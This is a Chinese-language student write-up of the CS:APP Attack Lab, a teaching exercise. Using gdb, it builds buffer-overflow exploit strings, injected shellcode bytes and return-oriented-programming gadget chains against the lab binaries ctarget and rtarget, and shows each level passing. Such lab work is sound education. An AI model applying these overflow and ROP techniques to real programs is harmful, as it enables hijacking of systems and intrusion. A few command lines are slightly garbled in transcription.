Attack Lab
参考大佬:https://blog.youkuaiyun.com/weixin_43362650/article/details/120893992
Level1
- 建议安装gedit来作为文本编辑器
apt install gedit
- 反编译查看代码:
objdump -d ctarget
- 找到关键函数
getbuf定义:
unsigned getbuf()
{
char buf[BUFFER_SIZE]; // 由sub$0x18,%rsp看出大小应该是24
Gets(buf);
return 1;
}
#调试
gdb ctarget
#在getbuf处打断点
(gdb) break getbuf
Breakpoint 1 at 0x40167f: file buf. c, line 12.
# 运行
(gdb) run -q
Starting program: /headless/Desktop/csapp-attacklab/ctarget -q
Cookie: 0x3d9549ca
Breakpoint 1, getbuf () at buf. c: 12
12 buf.c: No such file or directory.
# 此时已经运行到getbuf函数中,查看rsp寄存器地址
(gdb) p $rsp
$1 = (void *) 0x55654cb0
(gdb) x/ 0x55654cb0
0x55654cb0: 4200489 # =401829
- rsp 的值(0x55654cb0)指向当前栈顶,记录了程序运行到此处时栈的最顶部位置,当前栈顶保存的内容是 0x401829,即 getbuf 执行完成后需要执行的地址(调用点 test 函数中的下一条指令)
# 在getbuf sub$0x18,%rsp 后打上断点
(gdb) break *0x401683
Breakpoint 2 at 0x401683: file buf.c, line 14.
# 运行到断点
(gdb) continue
Continuing.
Breakpoint 2, getbuf () at buf.c: 14
14 in buf.c
# 查看寄存器地址,已经减去了0x18(十进制24)
(gdb) p $rsp
$2 = (void *) 0x55654c98
# 查看返回地址,即函数的返回地址在0x55654cb0,我们只需要将touch1的地址放在这里即可
(gdb) x/ 0x55654c98+24
0x55654cb0: 4200489
- 构造输入,先填满24个字节再写入touch1的返回地址(0x401695,需要用小端法)
- 即
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 95 16 40 00 00 00 00 00
# 压缩成二进制文本
root@cg:~/Desktop/csapp-attacklab#./hex2raw < one.txt › one-raw.txt
root@cg:~/Desktop/csapp-attacklab# ./ctarget -q < one-raw.txt
Cookie: 0x3d9549ca
Type string:Touchl!: You called touchl()
Valid solution for level 1 with target target
PASS:
Level2
-
touch2代码
void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }
-
需要在跳转到touch2的基础上,将参数传递到touch2中
-
函数第一个参数默认是在寄存器%rdi中传递的,需要将cookie保存到%rdi中,再跳转,cookie在之前运行程序的时候看到了
(gdb) run -q Starting program: /headless/Desktop/csapp-attacklab/ctarget -q Cookie: 0x3d9549ca Breakpoint 1, getbuf () at buf. c: 12 12 buf.c: No such file or directory.
-
可以利用getbuf开辟出的栈组织来构建新的代码进行跳转,也就是我们将代码注入到栈组织中,跳转到代码的地址来执行我们的代码
-
栈组织的顶部是0x55654cb0
# 查看寄存器地址,已经减去了0x18(十进制24) (gdb) p $rsp $2 = (void *) 0x55654c98
-
我们想要执行的汇编代码
movq $0x3d9549ca,%rdi #将cookie存入%rdi
push $0x4016c1 #将touch2地址压入栈,ret会跳转到这个地址(即栈顶地址)
ret
root@cg:~/Desktop/csapp-attacklab# gcc -c two.s
root@cg:~/Desktop/csapp-attacklab# objdump -d two.o › two.d
- 即
48 c7 c7 ca 49 95 3d 68 c1 16 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 98 4c 65 66 00 00 00 00
root@cg:~/Desktop/csapp-attacklab# ./hex2raw < two.txt > two-raw.txt
root@cg:~/Desktop/csapp-attacklab#./ctarget -q < two-raw.txt
Cookie: 0x3d9549ca
Type string:Touch2!: You called touch2(0x3d9549ca)
Valid solution for level 2 with target target
PASS:
Level3
对应函数代码
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
-
需要传入字符串形式的cookie,查询ascii码(16进制的ascii码),题目中说要最后加00
-
3d9549ca --> 33 64 39 35 34 39 63 61
-
hexmatch新建变量会覆盖堆栈,所以不能将cookie放在level2的位置
-
考虑把cookie对应的字符串放在test的栈中,类似于
48 c7 c7 ca 49 95 3d 68 c1 16 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 98 4c 65 66 00 00 00 00 33 64 39 35 34 39 63 61 00
-
需要将原level2的汇编修改如下
movq $0x55654cb8,%rdi #将cookie对应的字符串的地址存入%rdi,即0x55654cb0+8=0x55654cb8(test程序帧) push $0x4017ad #将touch3地址压入栈,ret会跳转到这个地址(即栈顶地址) ret
root@cg:~/Desktop/csapp-attacklab# gcc -c three.s
root@cg:~/Desktop/csapp-attacklab# objdump -d three.o › three.d
48 c7 c7 b8 4c 65 66 68 ad 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 98 4c 65 66 00 00 00 00 33 64 39 35 34 39 63 61 00
rootacg:~/Desktop/csapp-attacklab# /hex2raw < three-test.txt › three-raw.txt
root@cg:~/Desktop/csapp-attacklab#./ctarget -q < three-raw.txt
Cookie: 0x3d9549ca
Type string:Touch3!: You called touch3("3d9549ca" )
Valid solution for level 3 with target target
PASS:
Level 4
-
有指令字节编码
-
反编译
objdump -d rtarget > obj-2.txt
-
根据大佬的理解,我们希望
- pop %rax(对应栈顶是cookie)
- retq(对应栈顶是movq %rax,%rdi的地址)
- retq(对应touch2的地址)
-
popq nop retq,对应地址401876
-
movq %rax %rdi %rax %rdi,对应地址401868
-
和level2代码对比
48 c7 c7 ca 49 95 3d 68 c1 16 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 98 4c 65 66 00 00 00 00`
-
在返回位置写入gadget
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 18 40 00 00 00 00 00 ca 49 95 3d 00 00 00 00 68 18 40 00 00 00 00 00 c1 16 40 00 00 00 00 00`
即24位填充+popq nop retq+cookie+movq %rax %rdi+touch2地址
需要注意的是这里的ctarget的cookie和touch2地址需要换成rtarget的
root@cg:~/Desktop/csapp-attacklab#./hex2raw < four.txt > four-raw.txt
root@cg: ~/Desktop/csapp-attacklab#./rtarget -q < four-raw.txt
Cookie: 0x3d9549ca
Type string:Touch2!: You called touch2(0x3d9549ca)
Valid solution for level 2 with target target
PASS:
level5
-
大佬总结,照抄完事
-
找代码,注意2字节指令,它们可以作为有功能的nop,可以跟在指令后面,最后一定要跟c3
-
movq %rsp,%rax 401934
-
movq %rax,%rdi 401868
-
pop %rax 401876
-
后面程序有修改,没有movl %eax,%edx,所以重新连线了,只要最终效果是%eax->%esi就可以
-
movl %eax,%ecx 4018b0
-
movl %ecx,%edx 4018a3
-
movl %edx,%esi 4018ca
-
lea(%rdi,%rsi,1),%rax 401887
-
movq %rax,%rdi 40185a
-
构建five.txt
-
构建逻辑,具体理解请看大佬原文档:
- 24个占位
- movq %rsp,%rax
- movq %rax,%rdi
- pop %rax
- 0x 48
- movl %eax,%ecx
- movl %ecx,%edx
- movl %edx,%esi
- lea(%rdi,%rsi,1),%rax
- movq %rax,%rdi
- touch3地址
- cookie
root@cg: ~/Desktop/csapp-attacklab#./hex2raw < five.txt › five-raw.txt
root@cg:~/Desktop/csapp-attacklab# ./rtarget
-q < five- raw.txt
Cookie: 0x3d9549ca
Type string:Touch3!: You called touch3 ("3d9549ca" )
Valid solution for level 3 with target target
PASS:
- 调试手段,gdb进入后在getbug执行完gets的地方打断点,到断点位置查看 栈内是否注入rsp
(gdb) si
0x0000000000401934 in addval_479 ()
#此时已经进入到我的rop链中,查看寄存器
(gdb) info registers
rax 0x1 1
rbx 0x7fffffffe878
rsi 0x30 48
rdi 0x7ffff7dcda00
rbp 0x7ffffffe760
rsp 0x7ffffffe8210